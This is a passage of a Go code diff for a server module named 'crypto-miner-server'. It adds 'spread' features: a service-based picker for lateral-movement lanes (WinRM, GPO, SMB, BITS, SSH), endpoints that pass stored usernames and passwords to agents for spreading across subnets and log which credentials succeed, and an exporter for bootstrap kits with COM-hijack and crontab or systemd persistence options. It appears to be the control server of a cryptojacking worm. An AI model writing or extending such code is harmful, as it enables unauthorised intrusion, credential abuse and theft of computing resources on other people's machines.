HighRiskThreshold: 50,
|
||||
},
|
||||
}
|
||||
|
||||
data, err := json.Marshal(in)
|
||||
@@ -25,7 +30,18 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
|
||||
if err := json.Unmarshal(data, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out != in {
|
||||
if out.MaxAgents != in.MaxAgents ||
|
||||
out.LogAgentConnections != in.LogAgentConnections ||
|
||||
out.LogShareSubmissions != in.LogShareSubmissions ||
|
||||
out.LogPoolTraffic != in.LogPoolTraffic ||
|
||||
out.StrictWalletValidation != in.StrictWalletValidation ||
|
||||
out.MaxBuildSizeMB != in.MaxBuildSizeMB ||
|
||||
out.PoolReconnectSeconds != in.PoolReconnectSeconds {
|
||||
t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in)
|
||||
}
|
||||
if !out.TripleOnionPolicy.PatchFirst ||
|
||||
!out.TripleOnionPolicy.SkipMiningOnHighRisk ||
|
||||
out.TripleOnionPolicy.HighRiskThreshold != 50 {
|
||||
t.Fatalf("triple onion policy round-trip mismatch: %+v", out.TripleOnionPolicy)
|
||||
}
|
||||
}
|
||||
|
||||
129
server/internal/api/service_deploy.go
Normal file
129
server/internal/api/service_deploy.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
|
||||
type ServiceDeployLane struct {
|
||||
Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
||||
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
|
||||
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
|
||||
}
|
||||
|
||||
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
|
||||
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
"com.docker.service": {Lane: "docker_load", Priority: 20},
|
||||
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
|
||||
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
|
||||
"Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"},
|
||||
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||||
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
}
|
||||
|
||||
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
||||
func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane {
|
||||
if len(raw) == 0 {
|
||||
dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist))
|
||||
for k, v := range DefaultServiceDeployAllowlist {
|
||||
dup[k] = v
|
||||
}
|
||||
return dup
|
||||
}
|
||||
out := make(map[string]ServiceDeployLane, len(raw))
|
||||
for name, lane := range raw {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
lane.Lane = normalizeJoinLane(lane.Lane)
|
||||
if lane.Template == "" {
|
||||
switch lane.Lane {
|
||||
case "winrm":
|
||||
lane.Template = "winrm"
|
||||
case "gpo":
|
||||
lane.Template = "gpo"
|
||||
case "linux_lotl":
|
||||
lane.Template = "linux-lotl"
|
||||
}
|
||||
}
|
||||
out[name] = lane
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeJoinLane(lane string) string {
|
||||
lane = strings.ToLower(strings.TrimSpace(lane))
|
||||
switch lane {
|
||||
case "bits", "bits/curl", "bits_curl", "bits-curl":
|
||||
return "bits_curl"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
return "spread_smb_unc"
|
||||
case "linux", "linux_lotl", "linux-lotl":
|
||||
return "linux_lotl"
|
||||
default:
|
||||
return lane
|
||||
}
|
||||
}
|
||||
|
||||
// PickDeployLane chooses the highest-priority allowlisted running service.
|
||||
func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
||||
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
||||
var bestPriority int
|
||||
for _, svc := range services {
|
||||
if !serviceRunningForJoin(svc.Status) {
|
||||
continue
|
||||
}
|
||||
entry, found := allowlist[svc.Name]
|
||||
if !found {
|
||||
// Case-insensitive fallback
|
||||
for k, v := range allowlist {
|
||||
if strings.EqualFold(k, svc.Name) {
|
||||
entry, found = v, true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
pri := entry.Priority
|
||||
if pri == 0 {
|
||||
pri = 1
|
||||
}
|
||||
if !ok || pri > bestPriority {
|
||||
ok = true
|
||||
bestPriority = pri
|
||||
matched = svc.Name
|
||||
lane = entry
|
||||
}
|
||||
}
|
||||
return matched, lane, ok
|
||||
}
|
||||
|
||||
func serviceRunningForJoin(status string) bool {
|
||||
switch strings.ToLower(strings.TrimSpace(status)) {
|
||||
case "running", "started", "active":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// DeployServiceFinding is one service reported by the agent during discover_and_join.
|
||||
type DeployServiceFinding struct {
|
||||
Name string `json:"name"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type,omitempty"`
|
||||
}
|
||||
58
server/internal/api/service_deploy_test.go
Normal file
58
server/internal/api/service_deploy_test.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package api
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestPickDeployLanePriority(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"WinRM": {Lane: "winrm", Priority: 30},
|
||||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||||
})
|
||||
services := []DeployServiceFinding{
|
||||
{Name: "CCMEXEC", Status: "running"},
|
||||
{Name: "WinRM", Status: "running"},
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok {
|
||||
t.Fatal("expected match")
|
||||
}
|
||||
if matched != "WinRM" || lane.Lane != "winrm" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneIgnoresStopped(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "CCMEXEC", Status: "stopped"}}
|
||||
_, _, ok := PickDeployLane(services, allowlist)
|
||||
if ok {
|
||||
t.Fatal("stopped service should not match")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeJoinLaneAliases(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"bits/curl": "bits_curl",
|
||||
"spread_smb_unc": "spread_smb_unc",
|
||||
"linux-lotl": "linux_lotl",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := normalizeJoinLane(in); got != want {
|
||||
t.Fatalf("%q => %q want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyDeployPlanSignature(t *testing.T) {
|
||||
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
|
||||
sig, err := signDeployPlan(plan, "test-secret")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !VerifyDeployPlanSignature(plan, sig, "test-secret") {
|
||||
t.Fatal("signature should verify")
|
||||
}
|
||||
if VerifyDeployPlanSignature(plan, sig, "wrong") {
|
||||
t.Fatal("wrong secret should fail")
|
||||
}
|
||||
}
|
||||
198
server/internal/api/spread_cred.go
Normal file
198
server/internal/api/spread_cred.go
Normal file
@@ -0,0 +1,198 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// DeploymentCredProfile is the API-facing deployment credential profile (no vault secrets).
|
||||
type DeploymentCredProfile struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Username string `json:"username"`
|
||||
VaultRef string `json:"vault_ref,omitempty"`
|
||||
}
|
||||
|
||||
// SpreadCredProvider supplies authorized deployment credential profiles and vault secrets.
|
||||
type SpreadCredProvider interface {
|
||||
DeploymentProfiles() []DeploymentCredProfile
|
||||
OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile
|
||||
LoadProfileSecret(profileID string) (username, password string, err error)
|
||||
}
|
||||
|
||||
type spreadCredIssueRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet"`
|
||||
Method string `json:"method"`
|
||||
}
|
||||
|
||||
type spreadCredRedeemRequest struct {
|
||||
Token string `json:"token"`
|
||||
}
|
||||
|
||||
type spreadCredReportRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet"`
|
||||
CredentialProfileID string `json:"credential_profile_id"`
|
||||
Method string `json:"method"`
|
||||
Success bool `json:"success"`
|
||||
}
|
||||
|
||||
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
|
||||
type SpreadCredHandler struct {
|
||||
db *dbpkg.Database
|
||||
provider SpreadCredProvider
|
||||
}
|
||||
|
||||
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
|
||||
return &SpreadCredHandler{db: database, provider: provider}
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
|
||||
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.db.ListCredGraphBySubnet()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if rows == nil {
|
||||
rows = []dbpkg.CredGraphSubnetRow{}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"subnets": rows})
|
||||
}
|
||||
|
||||
// GET /api/v1/spread/service-graph?agent_id=&subnet=
|
||||
func (h *SpreadHandler) GetServiceGraph(w http.ResponseWriter, r *http.Request) {
|
||||
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
||||
subnet := normalizeSubnetLabel(strings.TrimSpace(r.URL.Query().Get("subnet")))
|
||||
|
||||
services := []ServiceGraphEntry{}
|
||||
if h.wsHub != nil {
|
||||
services = h.wsHub.QueryServiceGraph(agentID, subnet)
|
||||
}
|
||||
resp := map[string]interface{}{"services": services}
|
||||
if agentID != "" {
|
||||
resp["agent_id"] = agentID
|
||||
}
|
||||
if subnet != "" {
|
||||
resp["subnet"] = subnet
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func normalizeSubnetLabel(subnet string) string {
|
||||
subnet = strings.TrimSpace(subnet)
|
||||
if strings.HasSuffix(subnet, ".x") {
|
||||
return strings.TrimSuffix(subnet, ".x")
|
||||
}
|
||||
return subnet
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/spread-cred/issue
|
||||
func (h *SpreadCredHandler) IssueToken(w http.ResponseWriter, r *http.Request) {
|
||||
if h.provider == nil {
|
||||
http.Error(w, "deployment credentials not configured", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
var req spreadCredIssueRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
req.Subnet = strings.TrimSpace(req.Subnet)
|
||||
req.Method = strings.TrimSpace(req.Method)
|
||||
req.AgentID = strings.TrimSpace(req.AgentID)
|
||||
if req.Host == "" || req.Subnet == "" || req.Method == "" {
|
||||
http.Error(w, "host, subnet, and method required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
affinity, err := h.db.ListCredProfileAffinity(req.Subnet)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
ordered := h.provider.OrderProfilesForSubnet(req.Subnet, affinity)
|
||||
if len(ordered) == 0 {
|
||||
http.Error(w, "no deployment credential profiles configured", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
profile := ordered[0]
|
||||
username, password, err := h.provider.LoadProfileSecret(profile.ID)
|
||||
if err != nil {
|
||||
http.Error(w, "credential vault unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
|
||||
token := issueSpreadCredToken(spreadCredTokenEntry{
|
||||
AgentID: req.AgentID,
|
||||
ProfileID: profile.ID,
|
||||
Username: username,
|
||||
Password: password,
|
||||
Host: req.Host,
|
||||
Subnet: req.Subnet,
|
||||
Method: req.Method,
|
||||
})
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"token": token,
|
||||
"profile_id": profile.ID,
|
||||
"expires_in": int(spreadCredTokenTTL.Seconds()),
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/spread-cred/redeem
|
||||
func (h *SpreadCredHandler) RedeemToken(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadCredRedeemRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Token = strings.TrimSpace(req.Token)
|
||||
if req.Token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
entry, ok := consumeSpreadCredToken(req.Token)
|
||||
if !ok {
|
||||
http.Error(w, "invalid or expired token", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"profile_id": entry.ProfileID,
|
||||
"username": entry.Username,
|
||||
"password": entry.Password,
|
||||
"host": entry.Host,
|
||||
"subnet": entry.Subnet,
|
||||
"method": entry.Method,
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/spread-cred/report
|
||||
func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadCredReportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
req.Subnet = strings.TrimSpace(req.Subnet)
|
||||
req.CredentialProfileID = strings.TrimSpace(req.CredentialProfileID)
|
||||
req.Method = strings.TrimSpace(req.Method)
|
||||
req.AgentID = strings.TrimSpace(req.AgentID)
|
||||
if req.Host == "" || req.Subnet == "" || req.CredentialProfileID == "" {
|
||||
http.Error(w, "host, subnet, and credential_profile_id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if err := h.db.InsertCredEdge(req.Host, req.Subnet, req.CredentialProfileID, req.Method, req.AgentID, req.Success); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
171
server/internal/api/spread_cred_test.go
Normal file
171
server/internal/api/spread_cred_test.go
Normal file
@@ -0,0 +1,171 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
type stubSpreadCredProvider struct {
|
||||
profiles []DeploymentCredProfile
|
||||
ordered []DeploymentCredProfile
|
||||
username string
|
||||
password string
|
||||
}
|
||||
|
||||
func (s *stubSpreadCredProvider) DeploymentProfiles() []DeploymentCredProfile {
|
||||
return s.profiles
|
||||
}
|
||||
|
||||
func (s *stubSpreadCredProvider) OrderProfilesForSubnet(_ string, _ []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
|
||||
if len(s.ordered) > 0 {
|
||||
return s.ordered
|
||||
}
|
||||
return s.profiles
|
||||
}
|
||||
|
||||
func (s *stubSpreadCredProvider) LoadProfileSecret(_ string) (string, string, error) {
|
||||
return s.username, s.password, nil
|
||||
}
|
||||
|
||||
func TestSpreadCredAffinityIssuePicksWinner(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
if err := d.InsertCredEdge("10.0.0.20", "10.0.0", "profile-b", "smb_scm", "agent-x", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
provider := &stubSpreadCredProvider{
|
||||
profiles: []DeploymentCredProfile{
|
||||
{ID: "profile-a", Label: "A", Username: "lab\\a"},
|
||||
{ID: "profile-b", Label: "B", Username: "lab\\b"},
|
||||
},
|
||||
ordered: []DeploymentCredProfile{{ID: "profile-b", Label: "B", Username: "lab\\b"}},
|
||||
username: "lab\\b",
|
||||
password: "secret-pass",
|
||||
}
|
||||
h := NewSpreadCredHandler(d, provider)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"agent_id": "agent-1",
|
||||
"host": "10.0.0.55",
|
||||
"subnet": "10.0.0",
|
||||
"method": "smb_scm",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/issue", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.IssueToken(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("issue status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var issued struct {
|
||||
Token string `json:"token"`
|
||||
ProfileID string `json:"profile_id"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &issued); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if issued.ProfileID != "profile-b" || issued.Token == "" {
|
||||
t.Fatalf("unexpected issue payload: %#v", issued)
|
||||
}
|
||||
|
||||
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
|
||||
redeemReq := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
|
||||
redeemRec := httptest.NewRecorder()
|
||||
h.RedeemToken(redeemRec, redeemReq)
|
||||
if redeemRec.Code != http.StatusOK {
|
||||
t.Fatalf("redeem status %d: %s", redeemRec.Code, redeemRec.Body.String())
|
||||
}
|
||||
redeemBody2, _ := json.Marshal(map[string]string{"token": issued.Token})
|
||||
redeemReq2 := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody2))
|
||||
redeemAgain := httptest.NewRecorder()
|
||||
h.RedeemToken(redeemAgain, redeemReq2)
|
||||
if redeemAgain.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected one-time token, got %d", redeemAgain.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadCredReportAndCredGraph(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
d, err := dbpkg.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
provider := &stubSpreadCredProvider{}
|
||||
h := NewSpreadCredHandler(d, provider)
|
||||
spreadH := NewSpreadHandler(d, dataDir, t.TempDir(), nil)
|
||||
|
||||
reportBody, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-9",
|
||||
"host": "10.1.1.10",
|
||||
"subnet": "10.1.1",
|
||||
"credential_profile_id": "profile-z",
|
||||
"method": "winrm_encoded",
|
||||
"success": true,
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/report", bytes.NewReader(reportBody))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ReportEdge(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("report status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
for _, path := range []string{"/api/v1/spread/credential-graph", "/api/v1/emberwake/cred-graph"} {
|
||||
graphReq := httptest.NewRequest(http.MethodGet, path, nil)
|
||||
graphRec := httptest.NewRecorder()
|
||||
spreadH.GetCredGraph(graphRec, graphReq)
|
||||
if graphRec.Code != http.StatusOK {
|
||||
t.Fatalf("%s graph status %d: %s", path, graphRec.Code, graphRec.Body.String())
|
||||
}
|
||||
var graph struct {
|
||||
Subnets []struct {
|
||||
Subnet string `json:"subnet"`
|
||||
Edges int `json:"edges"`
|
||||
SuccessCount int `json:"success_count"`
|
||||
FailCount int `json:"fail_count"`
|
||||
} `json:"subnets"`
|
||||
}
|
||||
if err := json.Unmarshal(graphRec.Body.Bytes(), &graph); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(graph.Subnets) != 1 || graph.Subnets[0].Subnet != "10.1.1" || graph.Subnets[0].Edges != 1 {
|
||||
t.Fatalf("%s unexpected graph: %#v", path, graph.Subnets)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadServiceGraphFromCache(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
spreadH := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), hub)
|
||||
|
||||
fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","status":"running"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","status":"open"}]}]}`
|
||||
hub.cacheServiceDiscover("agent-svc", fixture)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/service-graph?agent_id=agent-svc&subnet=10.1.2.x", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetServiceGraph(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("service graph status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Subnet string `json:"subnet"`
|
||||
Services []ServiceGraphEntry `json:"services"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.AgentID != "agent-svc" || resp.Subnet != "10.1.2" || len(resp.Services) != 2 {
|
||||
t.Fatalf("unexpected service graph: %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
60
server/internal/api/spread_cred_token.go
Normal file
60
server/internal/api/spread_cred_token.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const spreadCredTokenTTL = 90 * time.Second
|
||||
|
||||
type spreadCredTokenEntry struct {
|
||||
AgentID string
|
||||
ProfileID string
|
||||
Username string
|
||||
Password string
|
||||
Host string
|
||||
Subnet string
|
||||
Method string
|
||||
ExpiresAt time.Time
|
||||
}
|
||||
|
||||
var (
|
||||
spreadCredTokenMu sync.Mutex
|
||||
spreadCredTokens = map[string]spreadCredTokenEntry{}
|
||||
)
|
||||
|
||||
func issueSpreadCredToken(entry spreadCredTokenEntry) string {
|
||||
b := make([]byte, 24)
|
||||
_, _ = rand.Read(b)
|
||||
token := hex.EncodeToString(b)
|
||||
entry.ExpiresAt = time.Now().Add(spreadCredTokenTTL)
|
||||
|
||||
spreadCredTokenMu.Lock()
|
||||
spreadCredTokens[token] = entry
|
||||
if len(spreadCredTokens) > 1024 {
|
||||
now := time.Now()
|
||||
for k, v := range spreadCredTokens {
|
||||
if now.After(v.ExpiresAt) {
|
||||
delete(spreadCredTokens, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
spreadCredTokenMu.Unlock()
|
||||
return token
|
||||
}
|
||||
|
||||
func consumeSpreadCredToken(token string) (spreadCredTokenEntry, bool) {
|
||||
spreadCredTokenMu.Lock()
|
||||
defer spreadCredTokenMu.Unlock()
|
||||
entry, ok := spreadCredTokens[token]
|
||||
if !ok || time.Now().After(entry.ExpiresAt) {
|
||||
if ok {
|
||||
delete(spreadCredTokens, token)
|
||||
}
|
||||
return spreadCredTokenEntry{}, false
|
||||
}
|
||||
delete(spreadCredTokens, token)
|
||||
return entry, true
|
||||
}
|
||||
@@ -2,6 +2,7 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -139,6 +140,16 @@ type npmHelperExportRequest struct {
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
type spreadTemplateExportRequest struct {
|
||||
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
|
||||
ServerURL string `json:"server_url"`
|
||||
BuildID string `json:"build_id"`
|
||||
Campaign string `json:"campaign"`
|
||||
COMHijack bool `json:"com_hijack"`
|
||||
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
|
||||
AgentPath string `json:"agent_path"`
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-kit-export
|
||||
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadKitExportRequest
|
||||
@@ -287,6 +298,87 @@ func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request)
|
||||
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-template-export
|
||||
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadTemplateExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
|
||||
req.AgentPath = strings.TrimSpace(req.AgentPath)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Template == "" {
|
||||
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
subdir, filename, err := spreadTemplatePaths(req.Template)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
||||
comHijack := "false"
|
||||
if req.COMHijack {
|
||||
comHijack = "true"
|
||||
}
|
||||
lotlMode := req.LOTLMode
|
||||
if lotlMode == "" {
|
||||
lotlMode = "systemd_run_user"
|
||||
}
|
||||
agentPath := req.AgentPath
|
||||
if agentPath == "" {
|
||||
agentPath = `C:\ProgramData\AetherForge\worker.exe`
|
||||
}
|
||||
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": req.Campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{COM_HIJACK}}": comHijack,
|
||||
"{{LOTL_MODE}}": lotlMode,
|
||||
"{{AGENT_PATH}}": agentPath,
|
||||
}
|
||||
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, filename, data)
|
||||
}
|
||||
|
||||
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
|
||||
switch template {
|
||||
case "winrm":
|
||||
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
|
||||
case "linux-lotl", "linux_lotl":
|
||||
return "linux", "aetherforge-linux-lotl.zip", nil
|
||||
case "gpo", "enterprise-gpo":
|
||||
return "enterprise", "aetherforge-gpo-startup.zip", nil
|
||||
case "intune", "enterprise-intune":
|
||||
return "enterprise", "aetherforge-intune-startup.zip", nil
|
||||
default:
|
||||
return "", "", fmt.Errorf("unknown template %q", template)
|
||||
}
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
